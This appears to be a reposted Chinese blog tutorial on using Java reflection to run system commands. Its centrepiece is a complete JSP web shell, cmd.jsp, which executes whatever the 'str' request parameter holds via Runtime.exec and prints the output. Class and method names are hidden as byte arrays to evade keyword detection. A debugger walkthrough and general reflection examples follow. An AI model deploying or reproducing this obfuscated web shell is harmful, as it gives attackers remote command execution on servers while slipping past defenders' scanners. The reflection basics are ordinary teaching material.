Java反射机制实现无关键字执行命令

新建maven项目 + tomcat

pom.xml引入servlet


      javax.servlet
      javax.servlet-api
      4.0.1
    

代码

cmd.jsp

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %><%--
  Created by IntelliJ IDEA.
  User: 19401
  Date: 2022/1/12
  Time: 17:13
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String str = request.getParameter("str");

    // 定义"java.lang.Runtime"字符串变量
    String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

    // 反射java.lang.Runtime类获取Class对象
    Class c = null;
    try {
        c = Class.forName(rt);
        // 反射获取Runtime类的getRuntime方法
        Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));

        // 反射获取Runtime类的exec方法
        Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

        // 反射调用Runtime.getRuntime().exec(xxx)方法
        Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

        // 反射获取Process类的getInputStream方法
        Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
        m.setAccessible(true);

        // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
        Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
        String result = s.hasNext() ? s.next() : "";

        // 输出命令执行结果
        out.println(result);

    } catch (Exception e) {
        e.printStackTrace();
    }


%>

能正常执行:

Java反射机制实现无关键字执行命令_第1张图片

 

简要分析

设置断点,开启debug,浏览器访问地址传参

可以看到str参数值已经变成 whoami

且rt的值变成 java.lang.Runtime

Java反射机制实现无关键字执行命令_第2张图片

 

继续往下走,第22行通过forName()方法来获取到了该class对象

Java反射机制实现无关键字执行命令_第3张图片

 

继续,下面第24行是通过反射获取类中方法getMethod的方式获取到 getRuntime() 方法

Java反射机制实现无关键字执行命令_第4张图片

 

然后第27行是获取Runtime类的 exec() 方法

getMethod()方法

只能返回一个特定的方法,第一个参数为方法名称,第二个为方法的参数对应Class的对象

Java反射机制实现无关键字执行命令_第5张图片

 

第29行, 反射通过invoke调用Runtime.getRuntime().exec(xxx)方法

命令执行完毕了

下面是通过getInputStream()使得页面回显的部分Java反射机制实现无关键字执行命令_第6张图片

 

成功输出到页面

Java反射机制实现无关键字执行命令_第7张图片

 

结束

补充1:Java字符串转byte数组

import java.util.Arrays;

public class TestByte {
    public static void main (String[] args) throws java.lang.Exception
    {
        //String字符串转byte数组
        String nSndString="java.lang.Runtime.";
        byte[] tBytes=nSndString.getBytes("US-ASCII");
        System.out.println(Arrays.toString(tBytes));

        // byte数组转字符串
        String ss = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46});
        System.out.println(ss);

    }
}

Java反射机制实现无关键字执行命令_第8张图片

 

补充2:Java反射机制

可以无视类方法、变量去访问权限修饰符,并且可以调用任何类的任意方法、访问并修改成员变量值

基本运用

获取类对象

1.forName()方法

//使用class类中的方法调用类对象,方便,拓展性强,只要有类的名称即可
public class Test {

    public static void main(String[] args) throws ClassNotFoundException {
        //reflection
        // forName()
        Class name = Class.forName("java.lang.Runtime");
        System.out.println(name);
    }
}

2.直接获取

// 直接用.class,简单,但要明确用到类中的静态成员
public class Test {

    public static void main(String[] args) throws ClassNotFoundException {
        //reflection
        // forName()
        Class name = Runtime.class;
        System.out.println(name);
    }
}

3.使用getCLass()方法

//通过Object类中的getClass()来获取字节码对象。较繁琐,必须明确具体的类,然后创建对象

public class Test {

    public static void main(String[] args) throws ClassNotFoundException {
        //reflection
        Runtime rt = Runtime.getRuntime();
        Class name = rt.getClass();
        System.out.println(name);
    }
}

4.使用getSystemCLassLoader().loadClass()方法

//与forName()类似,知道类名即可,但是有区别。forName()的静态方法JVM会装载类,并且执行static()中的方法
//而这个不会执行static()中的代码

获取类方法

获取某个Class对象的方法集合

1.getDeclaredMethods()

// 不返回继承的方法
import java.lang.reflect.Method;

public class Test {

    public static void main(String[] args) throws ClassNotFoundException {
        //reflection
        Class name = Class.forName("java.lang.Runtime");

        Method[] ds = name.getDeclaredMethods();
        for(Method d:ds)
            System.out.println(d);
    }
}

2.getMethods()方法

返回某个类中所有的public方法,包括其继承类的public方法

3.getMethod()方法

只能返回一个特定的方法,第一个参数为方法名称,第二个为方法的参数对应CLass的对象

4.getDeclaredMethod()方法

和getMethod类似,只能返回一个特定的方法

获取类成员变量

1.getDeclaredFields()方法

不能获取父类的声明字段

2.getFields方法

能够获取某个类中的所有public字段,包括父类中的字段

3.getDeclaredField方法

只能获得类中的单个成员变量

4.getField方法

于getFields类似,但是只能获取某个特定的public字段,包括父类中的字段

你可能感兴趣的:(Java,数据结构,后端,java,maven,开发语言,程序人生,数据结构)